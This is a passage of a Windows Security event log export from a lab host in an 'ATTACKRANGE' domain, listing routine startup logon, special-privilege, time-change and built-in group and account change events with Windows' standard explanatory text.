0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245074 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245073 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245072 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA138 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245071 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA125 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245070 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA138 - Linked Logon ID: 0xA125 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x26c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245069 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA125 - Linked Logon ID: 0xA138 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x26c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245068 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x26c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:16:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245081 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Process Information: - Process ID: 0x444 - Name: C:\Windows\System32\rundll32.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:09:44.166274600Z -New Time: ‎2021‎-‎03‎-‎01T12:09:44.159000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245162 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: ATTACKRANGE\Domain Users - Group Name: None - Group Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: None - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245161 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Domain Users - Account Domain: EC2AMAZ-JQSN6NR - Old Account Name: None - New Account Name: None - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245160 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: ATTACKRANGE\Domain Users - Group Name: None - Group Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245159 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: DefaultAccount - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x215 - New UAC Value: 0x215 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245158 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: DefaultAccount - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x215 - New UAC Value: 0x215 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245157 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Guest - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x215 - New UAC Value: 0x215 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245156 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Guest - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x215 - New UAC Value: 0x215 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245155 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:08:54 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x14 - New UAC Value: 0x14 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245154 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:08:54 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x14 - New UAC Value: 0x14 - User Account Control: - - User Parameters: - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245153 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\System Managed Group - Group Name: System Managed Accounts Group - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: System Managed Accounts Group - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245152 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\System Managed Group - Account Domain: Builtin - Old Account Name: System Managed Accounts Group - New Account Name: System Managed Accounts Group - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245151 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\System Managed Group - Group Name: System Managed Accounts Group - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245150 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Storage Replica Administrators - Group Name: Storage Replica Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Storage Replica Administrators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245149 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Storage Replica Administrators - Account Domain: Builtin - Old Account Name: Storage Replica Administrators - New Account Name: Storage Replica Administrators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245148 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Storage Replica Administrators - Group Name: Storage Replica Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245147 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Remote Management Users - Group Name: Remote Management Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Remote Management Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245146 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Remote Management Users - Account Domain: Builtin - Old Account Name: Remote Management Users - New Account Name: Remote Management Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245145 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Remote Management Users - Group Name: Remote Management Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245144 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Access Control Assistance Operators - Group Name: Access Control Assistance Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Access Control Assistance Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245143 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Access Control Assistance Operators - Account Domain: Builtin - Old Account Name: Access Control Assistance Operators - New Account Name: Access Control Assistance Operators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245142 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Access Control Assistance Operators - Group Name: Access Control Assistance Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245141 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Hyper-V Administrators - Group Name: Hyper-V Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Hyper-V Administrators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245140 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Hyper-V Administrators - Account Domain: Builtin - Old Account Name: Hyper-V Administrators - New Account Name: Hyper-V Administrators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245139 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Hyper-V Administrators - Group Name: Hyper-V Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245138 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Management Servers - Group Name: RDS Management Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: RDS Management Servers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245137 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\RDS Management Servers - Account Domain: Builtin - Old Account Name: RDS Management Servers - New Account Name: RDS Management Servers - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245136 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Management Servers - Group Name: RDS Management Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245135 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Endpoint Servers - Group Name: RDS Endpoint Servers - 